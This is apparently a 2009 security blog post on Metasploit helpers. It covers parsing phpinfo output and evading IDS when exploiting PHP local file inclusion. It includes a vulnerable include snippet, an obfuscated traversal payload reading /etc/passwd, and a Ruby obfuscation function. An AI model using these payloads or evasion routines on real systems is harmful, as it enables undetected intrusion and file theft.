Thursday, October 15, 2009

Metasploit phpinfo parser

In regards to stealth, executing the phpinfo() function is usually not the best idea when dealing with target exploitation. The reason for this is that the phpinfo() function is a very easy, and reliable way to test for PHP code execution; but due to it's popularity with various public exploits, has become a target for defensive filtering mechanisms. A real world example of this kind of behavior in action can be found with the popular web hosting company, Hostgator, who happen to host my old gulftech.org website. However, more and more hosts seem to be adapting a similar approach.

james@phoenix:~$ telnet www.gulftech.org 80
Trying 74.54.188.50...
Connected to gulftech.org.
Escape character is '^]'.
GET /index.php?x=phpinfo(); HTTP/1.0

HTTP/1.1 403 Forbidden
Date: Thu, 15 Oct 2009 19:39:10 GMT
Server: Apache/2.2.11 (Unix) mod_ssl/2.2.11 OpenSSL/0.9.8i DAV/2 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
Accept-Ranges: bytes
Connection: close
Content-Type: text/html
X-Pad: avoid browser bug


As we can see from the above example, the phpinfo(); string is detected within the query string, and access is automatically forbidden by the server. Regardless, there are still times when an exploit may need to access the phpinfo() function to gather environmental information, and can do so safely. Below is a small function written in Ruby that I use to parse the phpinfo() output within Metasploit that may save someone some time. Simply send the phpinfo() output to the function and an array will be returned that contains values for each corresponding option, which can then be retrieved by simply referencing the desired array key which is identical to the particular option's name.

1:  def get_phpinfo(data)  
2:    
3:    # Init  
4:    phpi = {}  
5:    
6:    # Look for signs of an unmodified phpinfo()  
7:    if ( data =~ /<h1 class="p">PHP Version (.*?)<\/h1>/ )  
8:        
9:      # PHP Version  
10:      phpi['version'] = $1  
11:      # ---------------------------------------  
12:        
13:      # Match array  
14:      temp = data.scan(/<td class="e">(.*?)<\/td><td class="v">(.*?)<\/td>/)  
15:        
16:      # Everything else  
17:      temp.each do |x,y|  
18:        phpi[x] = y.gsub(/(<\/*[a-zA-Z0-9]>)/, '')  
19:      end  
20:      # ---------------------------------------  
21:      return phpi  
22:    else  
23:      # Error  
24:      return false  
25:    end  
26:  end  

Application specific IDS evasion

One of the most overlooked means of obfuscating malicious requests when attempting to exploit a target is application, and interpreter specific evasion techniques. These techniques can apply to any number of web based technologies, but for the sake of brevity I am going to be using PHP as my primary example(s).

The root of this issue really lies within the ability to manipulate data that the Intrusion Detection System is not necessarily expecting. This should be fairly obvious as this is always the name of the game with IDS. However, by using application, or even interpreter specific modifications to further obfuscate data we can really make our efforts much more effective.
# Load specified custom user template
$user = stripslashes(strip_tags($_GET['user']));
@include_once("data/users/$user.tpl");

As we can see from the above insecure code, it is trivial to modify the "user" parameter to include (and possibly execute) any file resource that the httpd process has access to. Unfortunately, directory traversal sequences are a red flag to just about every IDS out there, so we can not just send a traditional "dot dot slash" sequence without causing alarm. Fortunately though for an attacker, IDS usually does not anticipate the way that an application may or may not use the functions that is has access to, thus allowing for a much greater degree of obfuscation.

index.php?user=\.<1>\.<2>\/\.<1>\.<2>\/\.<1>\.<2>\/etc/passwd\\0

Since the vulnerable code in question uses the strip_tags() and stripslashes() PHP functions it is safe for an attacker to include garbage data that will be filtered by these functions, in addition to more traditional obfuscation techniques. Once the "user" parameter is parsed by the previously mentioned PHP functions the user parameter shown above will end up looking like this.
index.php?user=../../../etc/passwd\0

One thing to keep in mind though when using this approach is request size. The requests can be obfuscated heavily, but the more obfuscation that is added makes for a substantially larger request which may inadvertently trigger the very IDS that is meant to be avoided. Below is a function that I wrote in Ruby, and is meant to be used as a means to add this application specific obfuscation to your Metasploit Framework projects. If you have any suggestions feel free to leave a comment.


1:  def init_evasion(data, func, opts = {})  
2:    
3:    case func  
4:      when 'stripslashes'  
5:        if ( !opts['qgpc'] )  
6:          data = data.gsub(/(.)/,'\\\\\1')  
7:        end  
8:        return data  
9:      when 'strip_tags'  
10:        return data.gsub(/([\.\/])/, '<0>\\1')  
11:      when 'urldecode'  
12:        data = Rex::Text.uri_decode(data)  
13:        data = data.unpack('C*').collect{|x| '%25' + sprintf('%.2x', x) }  
14:        return data  
15:      else  
16:        return false  
17:    end  
18:  end